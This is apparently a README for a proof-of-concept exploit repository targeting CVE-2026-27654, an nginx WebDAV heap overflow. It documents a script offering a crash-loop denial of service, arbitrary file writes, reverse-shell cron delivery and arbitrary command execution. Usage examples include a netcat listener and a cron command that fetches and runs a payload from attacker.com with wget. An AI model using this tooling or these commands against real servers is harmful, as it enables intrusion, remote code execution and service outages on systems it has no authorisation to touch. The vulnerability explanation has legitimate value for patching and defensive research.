CVE-2026-27654 – nginx ngx_http_dav_module DAV Alias Path Handling PoC

This repository provides a proof‑of‑concept exploit for CVE‑2026‑27654, a heap‑overflow vulnerability in the ngx_http_dav_module of nginx. The bug arises from a size‑t underflow when handling MOVE/COPY requests with specially crafted Destination headers and alias‑based locations.

⚠️ Disclaimer: This tool is intended for authorized security research and testing only. Use it only against systems you own or have explicit permission to test. The authors assume no liability for misuse.

🔥 Vulnerability Overview

CVE-2026-27654 is a remotely triggerable heap-based buffer overflow in the NGINX HTTP WebDAV module, caused by an integer underflow in ngx_http_dav_copy_move_handler() (src/http/modules/ngx_http_dav_module.c). The vulnerability occurs when the destination URI length is derived by subtracting the configured location prefix from the Destination header path. Because both operands are of type size_t, a shorter destination path causes the subtraction to wrap to a near-maximum unsigned value.

The wrapped length is subsequently used as the size argument to memcpy(), resulting in an out-of-bounds heap write that corrupts memory and immediately crashes the NGINX worker process. A remote, unauthenticated attacker can reliably trigger this condition using a single crafted MOVE or COPY request targeting an alias-mapped WebDAV location. While the NGINX master process automatically respawns failed workers, repeated requests can maintain the service in a continuous worker-crash loop, resulting in a persistent Denial-of-Service (DoS).

AddressSanitizer (ASan) validates the vulnerability with a negative-size-param error in memcpy(), tracing the execution path from ngx_http_dav_copy_move_handler() to ngx_http_core_module.c. The vulnerability affects NGINX 0.5.13–1.28.2 (stable) and 1.29.0–1.29.6 (mainline) when compiled with --with-http_dav_module and configured with the alias directive. The issue was remediated in NGINX 1.28.3 and 1.29.7 (commit ab4b5b8, PR #1210) through proper validation of the computed destination path length before memory operations.

✨ Features

• Interactive mode selection – choose from four operation modes at runtime (crash, write‑file, cron‑shell, cron‑cmd) with a clear numbered menu.
• Crash trigger – send the canonical MOVE/COPY request that triggers the size‑t underflow and crashes the vulnerable worker.
• Write‑file mode – upload arbitrary content to any location on the filesystem (requires a lab setup with writable alias).
• Cron‑shell delivery – deploy a reverse‑shell cron job to /etc/cron.d/, with interactive prompts for LHOST/LPORT and a listener‑start reminder.
• Cron‑cmd delivery – execute a custom command via cron; accepts either interactive input or the --cron-command flag.
• Vulnerability check (--check) – non‑interactive mode that runs the crash test and prints a clear [VULNERABLE] / [NOT VULNERABLE] verdict, exiting with code 0 or 1.
• HTTP proxy support (--proxy) – route all requests through an HTTP/HTTPS proxy (e.g., Burp Suite, mitmproxy) for debugging or traffic inspection.

📦 Installation

git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt

🚀 Usage

Interactive mode (menu)

python exploit.py --target 192.168.1.100:8080

You will be presented with a numbered menu and prompted to select a mode.

Vulnerability check (non‑interactive)

python exploit.py --target 192.168.1.100:8080 --check

This forces the crash mode, runs the exploit, and prints [VULNERABLE] or [NOT VULNERABLE] before exiting with code 0 or 1.

With an HTTP proxy

python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080

All HTTP requests will be sent through the specified proxy (useful for debugging with Burp).

⚙️ Flags Reference

Note: Most flags are optional. The script will prompt for missing required arguments (e.g., --lhost/--lport for cron-shell) if they are not provided.

🧪 Modes in Detail

1. crash

Sends the crafted MOVE (or COPY) request that triggers the size‑t underflow. The server will crash the worker process. If the master process is correctly configured, it will respawn a new worker.

Example:

python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)

2. write-file

Uploads a file to an arbitrary location on the filesystem. This works only if the DAV location is backed by an alias that points to a writable directory and the Destination path is crafted to escape the DAV root. Use only in authorised lab environments.

Example:

python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)

3. cron-shell

Places a reverse‑shell cron job into /etc/cron.d/.
When you select this mode, the script will prompt you for:

• LHOST – your listening IP
• LPORT – your listening port

It will then display the netcat listener command and wait for you to press Enter once your listener is running.

Example (pre‑filled):

python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)

4. cron-cmd

Places a custom command (provided interactively or via --cron-command) into /etc/cron.d/. This is useful for executing arbitrary system commands.

Example (interactive):

python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted

Example (pre‑filled):

python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)

📝 Example Workflow (Reverse Shell)

$ python exploit.py --target 192.168.1.100:8080

Available modes:
  1. crash        - Trigger the heap overflow crash
  2. write-file   - Write arbitrary content to an arbitrary location (authorized lab)
  3. cron-shell   - Deploy a reverse shell via /etc/cron.d
  4. cron-cmd     - Deploy a custom cron job

Select mode (number or name): 3

Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444

[*] Please start your netcat listener in a new terminal:
    nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]

... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.

📝 Example Workflow (Command Execution)

This example demonstrates using cron-cmd to execute a command on the target system without needing a listener.

Interactive mode

$ python exploit.py --target 192.168.1.100:8080

Available modes:
  1. crash        - Trigger the heap overflow crash
  2. write-file   - Write arbitrary content to an arbitrary location (authorized lab)
  3. cron-shell   - Deploy a reverse shell via /etc/cron.d
  4. cron-cmd     - Deploy a custom cron job

Select mode (number or name): 4

Enter the command to run in cron (--cron-command): id > /tmp/owned

... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.

Pre‑filled (non‑interactive)

python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)

The script will automatically use the provided --cron-command and skip the interactive prompt, making it suitable for automation.

🛠️ Building a Vulnerable Test Environment

To test this PoC in a controlled environment, you can build nginx from source with --with-http_dav_module and configure a location with alias and dav_methods. A sample Docker configuration is included (coming soon).

References

• https://nginx.org/en/security_advisories.html
• https://github.com/nginx/nginx/commit/ab4b5b8
• https://github.com/nginx/nginx/pull/1210

📜 License

This project is licensed under the GNU v3.0 License – see the LICENSE file for details.

🤝 Contributing

Issues and pull requests are welcome. Please ensure your contributions adhere to the same ethical usage guidelines.

Remember: Always obtain proper authorisation before testing any security tool. Stay ethical!